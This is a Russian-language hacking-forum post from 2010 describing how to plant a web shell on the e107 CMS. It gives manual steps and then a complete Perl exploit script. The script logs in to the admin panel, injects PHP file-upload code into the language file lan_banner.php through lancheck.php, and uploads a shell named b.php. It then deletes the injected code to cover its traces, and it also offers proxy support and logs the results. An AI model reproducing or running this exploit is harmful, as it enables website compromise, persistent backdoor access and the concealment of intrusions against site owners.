1. e107_admin/language.php?tools
2. ");?><?copy($_FILES[file][tmp_name],$_POST[p])?> например в lan_banner.php .
3.
http://[host]l/[path]/e107_languages/lan_banner.php
4. форма с постом:
<form enctype="multipart/form-data" action="http://[host]/[path]/e107_languages/lan_banner.php" method="post">
Отправить этот файл: <input name="file" type="file" value='b.php' /><br>
Название шелла! <input name="p" type="text" value="b.php">
<input type="submit" value="Send File" />
</form>
Автозалика(действия с 1 по 4), а также:
- стирает после заливки шелла код ");?><?copy($_FILES[file][tmp_name],$_POST[p])?> с lan_banner.php;
- поддержка сокс;
- результат в файл(дописывает),консоль.
Должен быть с експлоитом ниже еще b.php шелл.
PHP код:
#!/usr/bin/perl
#######settings##########
my $url="http://сайт";
my $login='логин';
my $pass='пасс';
my $path_to_shell="b.php"; # default - current folder /e107_languages/
my $name_shell="b.php";
my $seep=5;
#########################
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
#######settings step2##########
# our proxy
#my $proxy="http://X.X.X.X:порт";# чтоб на локале тестить - коментим!
#$ua->proxy(['http','https'],$proxy);# чтоб на локале тестить - коментим!
sleep($sleep);
my $req = HTTP::Request->new(POST => "$url/e107_admin/admin.php",['User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3"]);
$req->content_type('application/x-www-form-urlencoded');
$req->content("authname=$login&authpass=$pass&authsubmit=Log+In");
my $res = $ua->request($req);
my $cook_adm;
if ($res->headers_as_string =~ /(e107cookie=[\d\w\.]+);\s/) {$cook_adm=$1;} else {print "failed to authenticate!"; exit;}
sleep($seep);
my $req = HTTP::Request->new(POST => "$url/e107_admin/lancheck.php?lan_banner.php|",['User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",'Cookie' => $cook_adm ]);
$req->content_type('application/x-www-form-urlencoded');
my $content='newlang[]=");?><?copy($_FILES[file][tmp_name],$_POST[p])?>&newdef[]=PAGE_NAME&newlang[]=&newdef[]=BANNERLAN_16&newlang[]=&newdef[]=BANNERLAN_17&newlang[]=&newdef[]=BANNERLAN_18&newlang[]=&newdef[]=BANNERLAN_19&newlang[]=&newdef[]=BANNERLAN_20&newlang[]=&newdef[]=BANNERLAN_21&newlang[]=&newdef[]=BANNERLAN_22&newlang[]=&newdef[]=BANNERLAN_23&newlang[]=&newdef[]=BANNERLAN_24&newlang[]=&newdef[]=BANNERLAN_25&newlang[]=&newdef[]=BANNERLAN_26&newlang[]=&newdef[]=BANNERLAN_27&newlang[]=&newdef[]=BANNERLAN_28&newlang[]=&newdef[]=BANNERLAN_29&newlang[]=&newdef[]=BANNERLAN_30&newlang[]=&newdef[]=BANNERLAN_31&newlang[]=&newdef[]=BANNERLAN_32&newlang[]=&newdef[]=BANNERLAN_33&newlang[]=&newdef[]=BANNERLAN_34&newlang[]=&newdef[]=BANNERLAN_35&newlang[]=&newdef[]=BANNERLAN_36&newlang[]=&newdef[]=BANNERLAN_37&newlang[]=&newdef[]=BANNERLAN_38&submit=Save lan_banner.php &root=../e107_languages//lan_banner.php';
$req->content($content);
my $res = $ua->request($req);
if (!$res->is_success()) {print "Can't edit file ".$url."e107_languages/lan_banner.php";exit;}
# upload file
use HTTP::Request::Common;
$res = $ua->request(
POST "$url/e107_languages/lan_banner.php",
Cookie => $cook_adm,
Content_Type => 'form-data',
Content => [
p => $name_shell,
file => ["$ENV{HOME}/".$path_to_shell]
]
);
if ($res->is_success())
{
print "File successfully uploaded!\nThe result is saved in a file.\nPath to .:Shell:. - ".$url."/e107_languages/".$path_to_shell;
#write in file path result
open(FILE,'>>results.txt');
print FILE "Resource: $url\n";
print FILE "File successfully uploaded!\n";
print FILE "Path to Shell: ".$url."/e107_languages/".$path_to_shell."\n\n";
close(FILE);
}
else {print "Error upload file!";exit;}
# remove traces in http://[host]/[path]/e107_languages/lan_banner.php
my $req = HTTP::Request->new(POST => "$url/e107_admin/lancheck.php?lan_banner.php|",['User-Agent' => "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",'Cookie' => $cook_adm ]);
$req->content_type('application/x-www-form-urlencoded');
my $content='newlang[]=&newdef[]=PAGE_NAME&newlang[]=&newdef[]=BANNERLAN_16&newlang[]=&newdef[]=BANNERLAN_17&newlang[]=&newdef[]=BANNERLAN_18&newlang[]=&newdef[]=BANNERLAN_19&newlang[]=&newdef[]=BANNERLAN_20&newlang[]=&newdef[]=BANNERLAN_21&newlang[]=&newdef[]=BANNERLAN_22&newlang[]=&newdef[]=BANNERLAN_23&newlang[]=&newdef[]=BANNERLAN_24&newlang[]=&newdef[]=BANNERLAN_25&newlang[]=&newdef[]=BANNERLAN_26&newlang[]=&newdef[]=BANNERLAN_27&newlang[]=&newdef[]=BANNERLAN_28&newlang[]=&newdef[]=BANNERLAN_29&newlang[]=&newdef[]=BANNERLAN_30&newlang[]=&newdef[]=BANNERLAN_31&newlang[]=&newdef[]=BANNERLAN_32&newlang[]=&newdef[]=BANNERLAN_33&newlang[]=&newdef[]=BANNERLAN_34&newlang[]=&newdef[]=BANNERLAN_35&newlang[]=&newdef[]=BANNERLAN_36&newlang[]=&newdef[]=BANNERLAN_37&newlang[]=&newdef[]=BANNERLAN_38&submit=Save lan_banner.php &root=../e107_languages//lan_banner.php';
$req->content($content);
my $res = $ua->request($req);
if ($res->is_success()) {print "\nRemove traces in ".$url."/e107_languages/lan_banner.php";}
else {print "Can't remove traces in ".$url."/e107_languages/lan_banner.php";}
Вводить:
логин,пасс,ресурс(бес админки!).
Внимание:
- капчу експлоит необходит(в некоторых e107 есть);
- код мне не нравитцо).
Касаемо запуска експлоитов:
- чтоб на винде запускать кто юзает еще перл (в переменной окружения path для удобства) прописать путь к интерпретатору, например:
;C:\WebServers\usr\local\bin
- в httpd.conf прописать ScriptInterpreterSource registry
© Я
нахтачка люблю.
02.07.2010, 19:26
Заливка шелла в CMS
Линейный вид
